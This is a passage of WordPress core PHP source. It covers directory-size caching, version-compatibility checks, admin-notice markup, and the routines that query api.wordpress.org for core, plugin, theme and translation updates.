		unset( $directory_cache[ $path ] );
		set_transient( 'dirsize_cache', $directory_cache, $expiration );
		return;
	}

	$last_path = null;
	$path      = untrailingslashit( $path );
	unset( $directory_cache[ $path ] );

	while (
		$last_path !== $path &&
		DIRECTORY_SEPARATOR !== $path &&
		'.' !== $path &&
		'..' !== $path
	) {
		$last_path = $path;
		$path      = dirname( $path );
		unset( $directory_cache[ $path ] );
	}

	set_transient( 'dirsize_cache', $directory_cache, $expiration );
}

/**
 * Checks compatibility with the current WordPress version.
 *
 * @since 5.2.0
 *
 * @global string $wp_version The WordPress version string.
 *
 * @param string $required Minimum required WordPress version.
 * @return bool True if required version is compatible or empty, false if not.
 */
function is_wp_version_compatible( $required ) {
	global $wp_version;

	// Strip off any -alpha, -RC, -beta, -src suffixes.
	list( $version ) = explode( '-', $wp_version );

	if ( is_string( $required ) ) {
		$trimmed = trim( $required );

		if ( substr_count( $trimmed, '.' ) > 1 && str_ends_with( $trimmed, '.0' ) ) {
			$required = substr( $trimmed, 0, -2 );
		}
	}

	return empty( $required ) || version_compare( $version, $required, '>=' );
}

/**
 * Checks compatibility with the current PHP version.
 *
 * @since 5.2.0
 *
 * @param string $required Minimum required PHP version.
 * @return bool True if required version is compatible or empty, false if not.
 */
function is_php_version_compatible( $required ) {
	return empty( $required ) || version_compare( PHP_VERSION, $required, '>=' );
}

/**
 * Checks if two numbers are nearly the same.
 *
 * This is similar to using `round()` but the precision is more fine-grained.
 *
 * @since 5.3.0
 *
 * @param int|float $expected  The expected value.
 * @param int|float $actual    The actual number.
 * @param int|float $precision Optional. The allowed variation. Default 1.
 * @return bool Whether the numbers match within the specified precision.
 */
function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) {
	return abs( (float) $expected - (float) $actual ) <= $precision;
}

/**
 * Creates and returns the markup for an admin notice.
 *
 * @since 6.4.0
 *
 * @param string $message The message.
 * @param array  $args {
 *     Optional. An array of arguments for the admin notice. Default empty array.
 *
 *     @type string   $type               Optional. The type of admin notice.
 *                                        For example, 'error', 'success', 'warning', 'info'.
 *                                        Default empty string.
 *     @type bool     $dismissible        Optional. Whether the admin notice is dismissible. Default false.
 *     @type string   $id                 Optional. The value of the admin notice's ID attribute. Default empty string.
 *     @type string[] $additional_classes Optional. A string array of class names. Default empty array.
 *     @type string[] $attributes         Optional. Additional attributes for the notice div. Default empty array.
 *     @type bool     $paragraph_wrap     Optional. Whether to wrap the message in paragraph tags. Default true.
 * }
 * @return string The markup for an admin notice.
 */
function wp_get_admin_notice( $message, $args = array() ) {
	$defaults = array(
		'type'               => '',
		'dismissible'        => false,
		'id'                 => '',
		'additional_classes' => array(),
		'attributes'         => array(),
		'paragraph_wrap'     => true,
	);

	$args = wp_parse_args( $args, $defaults );

	/**
	 * Filters the arguments for an admin notice.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $args    The arguments for the admin notice.
	 * @param string $message The message for the admin notice.
	 */
	$args       = apply_filters( 'wp_admin_notice_args', $args, $message );
	$id         = '';
	$classes    = 'notice';
	$attributes = '';

	if ( is_string( $args['id'] ) ) {
		$trimmed_id = trim( $args['id'] );

		if ( '' !== $trimmed_id ) {
			$id = 'id="' . $trimmed_id . '" ';
		}
	}

	if ( is_string( $args['type'] ) ) {
		$type = trim( $args['type'] );

		if ( str_contains( $type, ' ' ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: The "type" key. */
					__( 'The %s key must be a string without spaces.' ),
					'<code>type</code>'
				),
				'6.4.0'
			);
		}

		if ( '' !== $type ) {
			$classes .= ' notice-' . $type;
		}
	}

	if ( true === $args['dismissible'] ) {
		$classes .= ' is-dismissible';
	}

	if ( is_array( $args['additional_classes'] ) && ! empty( $args['additional_classes'] ) ) {
		$classes .= ' ' . implode( ' ', $args['additional_classes'] );
	}

	if ( is_array( $args['attributes'] ) && ! empty( $args['attributes'] ) ) {
		$attributes = '';
		foreach ( $args['attributes'] as $attr => $val ) {
			if ( is_bool( $val ) ) {
				$attributes .= $val ? ' ' . $attr : '';
			} elseif ( is_int( $attr ) ) {
				$attributes .= ' ' . esc_attr( trim( $val ) );
			} elseif ( $val ) {
				$attributes .= ' ' . $attr . '="' . esc_attr( trim( $val ) ) . '"';
			}
		}
	}

	if ( false !== $args['paragraph_wrap'] ) {
		$message = "<p>$message</p>";
	}

	$markup = sprintf( '<div %1$sclass="%2$s"%3$s>%4$s</div>', $id, $classes, $attributes, $message );

	/**
	 * Filters the markup for an admin notice.
	 *
	 * @since 6.4.0
	 *
	 * @param string $markup  The HTML markup for the admin notice.
	 * @param string $message The message for the admin notice.
	 * @param array  $args    The arguments for the admin notice.
	 */
	return apply_filters( 'wp_admin_notice_markup', $markup, $message, $args );
}

/**
 * Outputs an admin notice.
 *
 * @since 6.4.0
 *
 * @param string $message The message to output.
 * @param array  $args {
 *     Optional. An array of arguments for the admin notice. Default empty array.
 *
 *     @type string   $type               Optional. The type of admin notice.
 *                                        For example, 'error', 'success', 'warning', 'info'.
 *                                        Default empty string.
 *     @type bool     $dismissible        Optional. Whether the admin notice is dismissible. Default false.
 *     @type string   $id                 Optional. The value of the admin notice's ID attribute. Default empty string.
 *     @type string[] $additional_classes Optional. A string array of class names. Default empty array.
 *     @type string[] $attributes         Optional. Additional attributes for the notice div. Default empty array.
 *     @type bool     $paragraph_wrap     Optional. Whether to wrap the message in paragraph tags. Default true.
 * }
 */
function wp_admin_notice( $message, $args = array() ) {
	/**
	 * Fires before an admin notice is output.
	 *
	 * @since 6.4.0
	 *
	 * @param string $message The message for the admin notice.
	 * @param array  $args    The arguments for the admin notice.
	 */
	do_action( 'wp_admin_notice', $message, $args );

	echo wp_kses_post( wp_get_admin_notice( $message, $args ) );
}
<?php
/**
 * A simple set of functions to check the WordPress.org Version Update service.
 *
 * @package WordPress
 * @since 2.3.0
 */

/**
 * Checks WordPress version against the newest version.
 *
 * The WordPress version, PHP version, and locale is sent.
 *
 * Checks against the WordPress server at api.wordpress.org. Will only check
 * if WordPress isn't installing.
 *
 * @since 2.3.0
 *
 * @global string $wp_version       Used to check against the newest WordPress version.
 * @global wpdb   $wpdb             WordPress database abstraction object.
 * @global string $wp_local_package Locale code of the package.
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 * @param bool  $force_check Whether to bypass the transient cache and force a fresh update check.
 *                           Defaults to false, true if $extra_stats is set.
 */
function wp_version_check( $extra_stats = array(), $force_check = false ) {
	global $wpdb, $wp_local_package;

	if ( wp_installing() ) {
		return;
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';
	$php_version = PHP_VERSION;

	$current      = get_site_transient( 'update_core' );
	$translations = wp_get_installed_translations( 'core' );

	// Invalidate the transient when $wp_version changes.
	if ( is_object( $current ) && $wp_version !== $current->version_checked ) {
		$current = false;
	}

	if ( ! is_object( $current ) ) {
		$current                  = new stdClass();
		$current->updates         = array();
		$current->version_checked = $wp_version;
	}

	if ( ! empty( $extra_stats ) ) {
		$force_check = true;
	}

	// Wait 1 minute between multiple version check requests.
	$timeout          = MINUTE_IN_SECONDS;
	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );

	if ( ! $force_check && $time_not_changed ) {
		return;
	}

	/**
	 * Filters the locale requested for WordPress core translations.
	 *
	 * @since 2.8.0
	 *
	 * @param string $locale Current locale.
	 */
	$locale = apply_filters( 'core_version_check_locale', get_locale() );

	// Update last_checked for current to prevent multiple blocking requests if request hangs.
	$current->last_checked = time();
	set_site_transient( 'update_core', $current );

	if ( method_exists( $wpdb, 'db_server_info' ) ) {
		$mysql_version = $wpdb->db_server_info();
	} elseif ( method_exists( $wpdb, 'db_version' ) ) {
		$mysql_version = preg_replace( '/[^0-9.].*/', '', $wpdb->db_version() );
	} else {
		$mysql_version = 'N/A';
	}

	if ( is_multisite() ) {
		$num_blogs         = get_blog_count();
		$wp_install        = network_site_url();
		$multisite_enabled = 1;
	} else {
		$multisite_enabled = 0;
		$num_blogs         = 1;
		$wp_install        = home_url( '/' );
	}

	$extensions = get_loaded_extensions();
	sort( $extensions, SORT_STRING | SORT_FLAG_CASE );
	$query = array(
		'version'            => $wp_version,
		'php'                => $php_version,
		'locale'             => $locale,
		'mysql'              => $mysql_version,
		'local_package'      => isset( $wp_local_package ) ? $wp_local_package : '',
		'blogs'              => $num_blogs,
		'users'              => get_user_count(),
		'multisite_enabled'  => $multisite_enabled,
		'initial_db_version' => get_site_option( 'initial_db_version' ),
		'extensions'         => array_combine( $extensions, array_map( 'phpversion', $extensions ) ),
		'platform_flags'     => array(
			'os'   => PHP_OS,
			'bits' => PHP_INT_SIZE === 4 ? 32 : 64,
		),
		'image_support'      => array(),
	);

	if ( function_exists( 'gd_info' ) ) {
		$gd_info = gd_info();
		// Filter to supported values.
		$gd_info = array_filter( $gd_info );

		// Add data for GD WebP and AVIF support.
		$query['image_support']['gd'] = array_keys(
			array_filter(
				array(
					'webp' => isset( $gd_info['WebP Support'] ),
					'avif' => isset( $gd_info['AVIF Support'] ),
				)
			)
		);
	}

	if ( class_exists( 'Imagick' ) ) {
		// Add data for Imagick WebP and AVIF support.
		$query['image_support']['imagick'] = array_keys(
			array_filter(
				array(
					'webp' => ! empty( Imagick::queryFormats( 'WEBP' ) ),
					'avif' => ! empty( Imagick::queryFormats( 'AVIF' ) ),
				)
			)
		);
	}

	/**
	 * Filters the query arguments sent as part of the core version check.
	 *
	 * WARNING: Changing this data may result in your site not receiving security updates.
	 * Please exercise extreme caution.
	 *
	 * @since 4.9.0
	 *
	 * @param array $query {
	 *     Version check query arguments.
	 *
	 *     @type string $version            WordPress version number.
	 *     @type string $php                PHP version number.
	 *     @type string $locale             The locale to retrieve updates for.
	 *     @type string $mysql              MySQL version number.
	 *     @type string $local_package      The value of the $wp_local_package global, when set.
	 *     @type int    $blogs              Number of sites on this WordPress installation.
	 *     @type int    $users              Number of users on this WordPress installation.
	 *     @type int    $multisite_enabled  Whether this WordPress installation uses Multisite.
	 *     @type int    $initial_db_version Database version of WordPress at time of installation.
	 * }
	 */
	$query = apply_filters( 'core_version_check_query_args', $query );

	$post_body = array(
		'translations' => wp_json_encode( $translations ),
	);

	if ( is_array( $extra_stats ) ) {
		$post_body = array_merge( $post_body, $extra_stats );
	}

	// Allow for WP_AUTO_UPDATE_CORE to specify beta/RC/development releases.
	if ( defined( 'WP_AUTO_UPDATE_CORE' )
		&& in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
	) {
		$query['channel'] = WP_AUTO_UPDATE_CORE;
	}

	$url      = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, '', '&' );
	$http_url = $url;
	$ssl      = wp_http_supports( array( 'ssl' ) );

	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

	$doing_cron = wp_doing_cron();

	$options = array(
		'timeout'    => $doing_cron ? 30 : 3,
		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		'headers'    => array(
			'wp_install' => $wp_install,
			'wp_blog'    => home_url( '/' ),
		),
		'body'       => $post_body,
	);

	$response = wp_remote_post( $url, $options );

	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
		return;
	}

	$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

	if ( ! is_array( $body ) || ! isset( $body['offers'] ) ) {
		return;
	}

	$offers = $body['offers'];

	foreach ( $offers as &$offer ) {
		foreach ( $offer as $offer_key => $value ) {
			if ( 'packages' === $offer_key ) {
				$offer['packages'] = (object) array_intersect_key(
					array_map( 'esc_url', $offer['packages'] ),
					array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' )
				);
			} elseif ( 'download' === $offer_key ) {
				$offer['download'] = esc_url( $value );
			} else {
				$offer[ $offer_key ] = esc_html( $value );
			}
		}
		$offer = (object) array_intersect_key(
			$offer,
			array_fill_keys(
				array(
					'response',
					'download',
					'locale',
					'packages',
					'current',
					'version',
					'php_version',
					'mysql_version',
					'new_bundled',
					'partial_version',
					'notify_email',
					'support_email',
					'new_files',
				),
				''
			)
		);
	}

	$updates                  = new stdClass();
	$updates->updates         = $offers;
	$updates->last_checked    = time();
	$updates->version_checked = $wp_version;

	if ( isset( $body['translations'] ) ) {
		$updates->translations = $body['translations'];
	}

	set_site_transient( 'update_core', $updates );

	if ( ! empty( $body['ttl'] ) ) {
		$ttl = (int) $body['ttl'];

		if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) {
			// Queue an event to re-run the update check in $ttl seconds.
			wp_schedule_single_event( time() + $ttl, 'wp_version_check' );
		}
	}

	// Trigger background updates if running non-interactively, and we weren't called from the update handler.
	if ( $doing_cron && ! doing_action( 'wp_maybe_auto_update' ) ) {
		/**
		 * Fires during wp_cron, starting the auto-update process.
		 *
		 * @since 3.9.0
		 */
		do_action( 'wp_maybe_auto_update' );
	}
}

/**
 * Checks for available updates to plugins based on the latest versions hosted on WordPress.org.
 *
 * Despite its name this function does not actually perform any updates, it only checks for available updates.
 *
 * A list of all plugins installed is sent to WP, along with the site locale.
 *
 * Checks against the WordPress server at api.wordpress.org. Will only check
 * if WordPress isn't installing.
 *
 * @since 2.3.0
 *
 * @global string $wp_version The WordPress version string.
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 */
function wp_update_plugins( $extra_stats = array() ) {
	if ( wp_installing() ) {
		return;
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	// If running blog-side, bail unless we've not checked in the last 12 hours.
	if ( ! function_exists( 'get_plugins' ) ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
	}

	$plugins      = get_plugins();
	$translations = wp_get_installed_translations( 'plugins' );

	$active  = get_option( 'active_plugins', array() );
	$current = get_site_transient( 'update_plugins' );

	if ( ! is_object( $current ) ) {
		$current = new stdClass();
	}

	$updates               = new stdClass();
	$updates->last_checked = time();
	$updates->response     = array();
	$updates->translations = array();
	$updates->no_update    = array();

	$doing_cron = wp_doing_cron();

	// Check for update on a different schedule, depending on the page.
	switch ( current_filter() ) {
		case 'upgrader_process_complete':
			$timeout = 0;
			break;
		case 'load-update-core.php':
			$timeout = MINUTE_IN_SECONDS;
			break;
		case 'load-plugins.php':
		case 'load-update.php':
			$timeout = HOUR_IN_SECONDS;
			break;
		default:
			if ( $doing_cron ) {
				$timeout = 2 * HOUR_IN_SECONDS;
			} else {
				$timeout = 12 * HOUR_IN_SECONDS;
			}
	}

	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );

	if ( $time_not_changed && ! $extra_stats ) {
		$plugin_changed = false;

		foreach ( $plugins as $file => $p ) {
			$updates->checked[ $file ] = $p['Version'];

			if ( ! isset( $current->checked[ $file ] ) || (string) $current->checked[ $file ] !== (string) $p['Version'] ) {
				$plugin_changed = true;
			}
		}

		if ( isset( $current->response ) && is_array( $current->response ) ) {
			foreach ( $current->response as $plugin_file => $update_details ) {
				if ( ! isset( $plugins[ $plugin_file ] ) ) {
					$plugin_changed = true;
					break;
				}
			}
		}

		// Bail if we've checked recently and if nothing has changed.
		if ( ! $plugin_changed ) {
			return;
		}
	}

	// Update last_checked for current to prevent multiple blocking requests if request hangs.
	$current->last_checked = time();
	set_site_transient( 'update_plugins', $current );

	$to_send = compact( 'plugins', 'active' );

	$locales = array_values( get_available_languages() );

	/**
	 * Filters the locales requested for plugin translations.
	 *
	 * @since 3.7.0
	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
	 *
	 * @param string[] $locales Plugin locales. Default is all available locales of the site.
	 */
	$locales = apply_filters( 'plugins_update_check_locales', $locales );
	$locales = array_unique( $locales );

	if ( $doing_cron ) {
		$timeout = 30; // 30 seconds.
	} else {
		// Three seconds, plus one extra second for every 10 plugins.
		$timeout = 3 + (int) ( count( $plugins ) / 10 );
	}

	$options = array(
		'timeout'    => $timeout,
		'body'       => array(
			'plugins'      => wp_json_encode( $to_send ),
			'translations' => wp_json_encode( $translations ),
			'locale'       => wp_json_encode( $locales ),
			'all'          => wp_json_encode( true ),
		),
		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
	);

	if ( $extra_stats ) {
		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
	}

	$url      = 'http://api.wordpress.org/plugins/update-check/1.1/';
	$http_url = $url;
	$ssl      = wp_http_supports( array( 'ssl' ) );

	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

	$raw_response = wp_remote_post( $url, $options );

	if ( $ssl && is_wp_error( $raw_response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$raw_response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $raw_response ) || 200 !== wp_remote_retrieve_response_code( $raw_response ) ) {
		return;
	}

	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );

	if ( $response && is_array( $response ) ) {
		$updates->response     = $response['plugins'];
		$updates->translations = $response['translations'];
		$updates->no_update    = $response['no_update'];
	}

	// Support updates for any plugins using the `Update URI` header field.
	foreach ( $plugins as $plugin_file => $plugin_data ) {
		if ( ! $plugin_data['UpdateURI'] || isset( $updates->response[ $plugin_file ] ) ) {
			continue;
		}

		$hostname = wp_parse_url( sanitize_url( $plugin_data['UpdateURI'] ), PHP_URL_HOST );

		/**
		 * Filters the update response for a given plugin hostname.
		 *
		 * The dynamic portion of the hook name, `$hostname`, refers to the hostname
		 * of the URI specified in the `Update URI` header field.
		 *
		 * @since 5.8.0
		 *
		 * @param array|false $update {
		 *     The plugin update data with the latest details. Default false.
		 *
		 *     @type string $id           Optional. ID of the plugin for update purposes, should be a URI
		 *                                specified in the `Update URI` header field.
		 *     @type string $slug         Slug of the plugin.
		 *     @type string $version      The version of the plugin.
		 *     @type string $url          The URL for details of the plugin.
		 *     @type string $package      Optional. The update ZIP for the plugin.
		 *     @type string $tested       Optional. The version of WordPress the plugin is tested against.
		 *     @type string $requires_php Optional. The version of PHP which the plugin requires.
		 *     @type bool   $autoupdate   Optional. Whether the plugin should automatically update.
		 *     @type array  $icons        Optional. Array of plugin icons.
		 *     @type array  $banners      Optional. Array of plugin banners.
		 *     @type array  $banners_rtl  Optional. Array of plugin RTL banners.
		 *     @type array  $translations {
		 *         Optional. List of translation updates for the plugin.
		 *
		 *         @type string $language   The language the translation update is for.
		 *         @type string $version    The version of the plugin this translation is for.
		 *                                  This is not the version of the language file.
		 *         @type string $updated    The update timestamp of the translation file.
		 *                                  Should be a date in the `YYYY-MM-DD HH:MM:SS` format.
		 *         @type string $package    The ZIP location containing the translation update.
		 *         @type string $autoupdate Whether the translation should be automatically installed.
		 *     }
		 * }
		 * @param array       $plugin_data      Plugin headers.
		 * @param string      $plugin_file      Plugin filename.
		 * @param string[]    $locales          Installed locales to look up translations for.
		 */
		$update = apply_filters( "update_plugins_{$hostname}", false, $plugin_data, $plugin_file, $locales );

		if ( ! $update ) {
			continue;
		}

		$update = (object) $update;

		// Is it valid? We require at least a version.
		if ( ! isset( $update->version ) ) {
			continue;
		}

		// These should remain constant.
		$update->id     = $plugin_data['UpdateURI'];
		$update->plugin = $plugin_file;

		// WordPress needs the version field specified as 'new_version'.
		if ( ! isset( $update->new_version ) ) {
			$update->new_version = $update->version;
		}

		// Handle any translation updates.
		if ( ! empty( $update->translations ) ) {
			foreach ( $update->translations as $translation ) {
				if ( isset( $translation['language'], $translation['package'] ) ) {
					$translation['type'] = 'plugin';
					$translation['slug'] = isset( $update->slug ) ? $update->slug : $update->id;

					$updates->translations[] = $translation;
				}
			}
		}

		unset( $updates->no_update[ $plugin_file ], $updates->response[ $plugin_file ] );

		if ( version_compare( $update->new_version, $plugin_data['Version'], '>' ) ) {
			$updates->response[ $plugin_file ] = $update;
		} else {
			$updates->no_update[ $plugin_file ] = $update;
		}
	}

	$sanitize_plugin_update_payload = static function ( &$item ) {
		$item = (object) $item;

		unset( $item->translations, $item->compatibility );

		return $item;
	};

	array_walk( $updates->response, $sanitize_plugin_update_payload );
	array_walk( $updates->no_update, $sanitize_plugin_update_payload );

	set_site_transient( 'update_plugins', $updates );
}

/**
 * Checks for available updates to themes based on the latest versions hosted on WordPress.org.
 *
 * Despite its name this function does not actually perform any updates, it only checks for available updates.
 *
 * A list of all themes installed is sent to WP, along with the site locale.
 *
 * Checks against the WordPress server at api.wordpress.org. Will only check
 * if WordPress isn't installing.
 *
 * @since 2.7.0
 *
 * @global string $wp_version The WordPress version string.
 *
 * @param array $extra_stats Extra statistics to report to the WordPress.org API.
 */
function wp_update_themes( $extra_stats = array() ) {
	if ( wp_installing() ) {
		return;
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$installed_themes = wp_get_themes();
	$translations     = wp_get_installed_translations( 'themes' );

	$last_update = get_site_transient( 'update_themes' );

	if ( ! is_object( $last_update ) ) {
		$last_update = new stdClass();
	}

	$themes  = array();
	$checked = array();
	$request = array();

	// Put slug of active theme into request.
	$request['active'] = get_option( 'stylesheet' );

	foreach ( $installed_themes as $theme ) {
		$checked[ $theme->get_stylesheet() ] = $theme->get( 'Version' );

		$themes[ $theme->get_stylesheet() ] = array(
			'Name'       => $theme->get( 'Name' ),
			'Title'      => $theme->get( 'Name' ),
			'Version'    => $theme->get( 'Version' ),
			'Author'     => $theme->get( 'Author' ),
			'Author URI' => $theme->get( 'AuthorURI' ),
			'UpdateURI'  => $theme->get( 'UpdateURI' ),
			'Template'   => $theme->get_template(),
			'Stylesheet' => $theme->get_stylesheet(),
		);
	}

	$doing_cron = wp_doing_cron();

	// Check for update on a different schedule, depending on the page.
	switch ( current_filter() ) {
		case 'upgrader_process_complete':
			$timeout = 0;
			break;
		case 'load-update-core.php':
			$timeout = MINUTE_IN_SECONDS;
			break;
		case 'load-themes.php':
		case 'load-update.php':
			$timeout = HOUR_IN_SECONDS;
			break;
		default:
			if ( $doing_cron ) {
				$timeout = 2 * HOUR_IN_SECONDS;
			} else {
				$timeout = 12 * HOUR_IN_SECONDS;
			}
	}

	$time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked );

	if ( $time_not_changed && ! $extra_stats ) {
		$theme_changed = false;

		foreach ( $checked as $slug => $v ) {
			if ( ! isset( $last_update->checked[ $slug ] ) || (string) $last_update->checked[ $slug ] !== (string) $v ) {
				$theme_changed = true;
			}
		}

		if ( isset( $last_update->response ) && is_array( $last_update->response ) ) {
			foreach ( $last_update->response as $slug => $update_details ) {
				if ( ! isset( $checked[ $slug ] ) ) {
					$theme_changed = true;
					break;
				}
			}
		}

		// Bail if we've checked recently and if nothing has changed.
		if ( ! $theme_changed ) {
			return;
		}
	}

	// Update last_checked for current to prevent multiple blocking requests if request hangs.
	$last_update->last_checked = time();
	set_site_transient( 'update_themes', $last_update );

	$request['themes'] = $themes;

	$locales = array_values( get_available_languages() );

	/**
	 * Filters the locales requested for theme translations.
	 *
	 * @since 3.7.0
	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
	 *
	 * @param string[] $locales Theme locales. Default is all available locales of the site.
	 */
	$locales = apply_filters( 'themes_update_check_locales', $locales );
	$locales = array_unique( $locales );

	if ( $doing_cron ) {
		$timeout = 30; // 30 seconds.
	} else {
		// Three seconds, plus one extra second for every 10 themes.
		$timeout = 3 + (int) ( count( $themes ) / 10 );
	}

	$options = array(
		'timeout'    => $timeout,
		'body'       => array(
			'themes'       => wp_json_encode( $request ),
			'translations' => wp_json_encode( $translations ),
			'locale'       => wp_json_encode( $locales ),
		),
		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
	);

	if ( $extra_stats ) {
		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
	}

	$url      = 'http://api.wordpress.org/themes/update-check/1.1/';
	$http_url = $url;
	$ssl      = wp_http_supports( array( 'ssl' ) );

	if ( $ssl ) {
		$url = set_url_scheme( $url, 'https' );
	}

	$raw_response = wp_remote_post( $url, $options );

	if ( $ssl && is_wp_error( $raw_response ) ) {
		trigger_error(
			sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
		);
		$raw_response = wp_remote_post( $http_url, $options );
	}

	if ( is_wp_error( $raw_response ) || 200 !== wp_remote_retrieve_response_code( $raw_response ) ) {
		return;
	}

	$new_update               = new stdClass();
	$new_update->last_checked = time();
	$new_update->checked      = $checked;

	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );

	if ( is_array( $response ) ) {
		$new_update->response     = $response['themes'];
		$new_update->no_update    = $response['no_update'];
		$new_update->translations = $response['translations'];
	}

	// Support updates for any themes using the `Update URI` header field.
	foreach ( $themes as $theme_stylesheet => $theme_data ) {
		if ( ! $theme_data['UpdateURI'] || isset( $new_update->response[ $theme_stylesheet ] ) ) {
			continue;
		}

		$hostname = wp_parse_url( sanitize_url( $theme_data['UpdateURI'] ), PHP_URL_HOST );

		/**
		 * Filters the update response for a given theme hostname.
		 *
		 * The dynamic portion of the hook name, `$hostname`, refers to the hostname
		 * of the URI specified in the `Update URI` header field.
		 *
		 * @since 6.1.0
		 *
		 * @param array|false $update {
		 *     The theme update data with the latest details. Default false.
		 *
		 *     @type string $id           Optional. ID of the theme for update purposes, should be a URI
		 *                                specified in the `Update URI` header field.
		 *     @type string $theme        Directory name of the theme.
		 *     @type string $version      The version of the theme.
		 *     @type string $url          The URL for details of the theme.
		 *     @type string $package      Optional. The update ZIP for the theme.
		 *     @type string $tested       Optional. The version of WordPress the theme is tested against.
		 *     @type string $requires_php Optional. The version of PHP which the theme requires.
		 *     @type bool   $autoupdate   Optional. Whether the theme should automatically update.
		 *     @type array  $translations {
		 *         Optional. List of translation updates for the theme.
		 *
		 *         @type string $language   The language the translation update is for.
		 *         @type string $version    The version of the theme this translation is for.
		 *                                  This is not the version of the language file.
		 *         @type string $updated    The update timestamp of the translation file.
		 *                                  Should be a date in the `YYYY-MM-DD HH:MM:SS` format.
		 *         @type string $package    The ZIP location containing the translation update.
		 *         @type string $autoupdate Whether the translation should be automatically installed.
		 *     }
		 * }
		 * @param array       $theme_data       Theme headers.
		 * @param string      $theme_stylesheet Theme stylesheet.
		 * @param string[]    $locales          Installed locales to look up translations for.
		 */
		$update = apply_filters( "update_themes_{$hostname}", false, $theme_data, $theme_stylesheet, $locales );

		if ( ! $update ) {
			continue;
		}

		$update = (object) $update;

		// Is it valid? We require at least a version.
		if ( ! isset( $update->version ) ) {
			continue;
		}

		// This should remain constant.
		$update->id = $theme_data['UpdateURI'];

		// WordPress needs the version field specified as 'new_version'.
		if ( ! isset( $update->new_version ) ) {
			$update->new_version = $update->version;
		}

		// Handle any translation updates.
		if ( ! empty( $update->translations ) ) {
			foreach ( $update->translations as $translation ) {
				if ( isset( $translation['language'], $translation['package'] ) ) {
					$translation['type'] = 'theme';
					$translation['slug'] = isset( $update->theme ) ? $update->theme : $update->id;

					$new_update->translations[] = $translation;
				}
			}
		}

		unset( $new_update->no_update[ $theme_stylesheet ], $new_update->response[ $theme_stylesheet ] );

		if ( version_compare( $update->new_version, $theme_data['Version'], '>' ) ) {
			$new_update->response[ $theme_stylesheet ] = (array) $update;
		} else {
			$new_update->no_update[ $theme_stylesheet ] = (array) $update;
		}
	}

	set_site_transient( 'update_themes', $new_update );
}

/**
 * Performs WordPress automatic background updates.
 *
 * Updates WordPress core plus any plugins and themes that have automatic updates enabled.
 *
 * @since 3.7.0
 */
function wp_maybe_auto_update() {
	require_once ABSPATH . 'wp-admin/includes/admin.php';
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$upgrader = new WP_Automatic_Updater();
	$upgrader->run();
}

/**
 * Retrieves a list of all language updates available.
 *
 * @since 3.7.0
 *
 * @return object[] Array of translation objects that have available updates.
 */
function wp_get_translation_updates() {
	$updates    = array();
	$transients = array(
		'update_core'    => 'core',
		'update_plugins' => 'plugin',
		'update_themes'  => 'theme',
	);

	foreach ( $transients as $transient => $type ) {
		$transient = get_site_transient( $transient );

		if ( empty( $transient->translations ) ) {
			continue;
		}

		foreach ( $transient->translations as $translation ) {
			$updates[] = (object) $translation;
		}
	}

	return $updates;
}

/**
 * Collects counts and UI strings for available updates.
 *
 * @since 3.3.0
 *
 * @return array
 */
function wp_get_update_data() {
	$counts = array(
		'plugins'      => 0,
		'themes'       => 0,
		'wordpress'    => 0,
		'translations' => 0,
	);

	$plugins = current_user_can( 'update_plugins' );

	if ( $plugins ) {
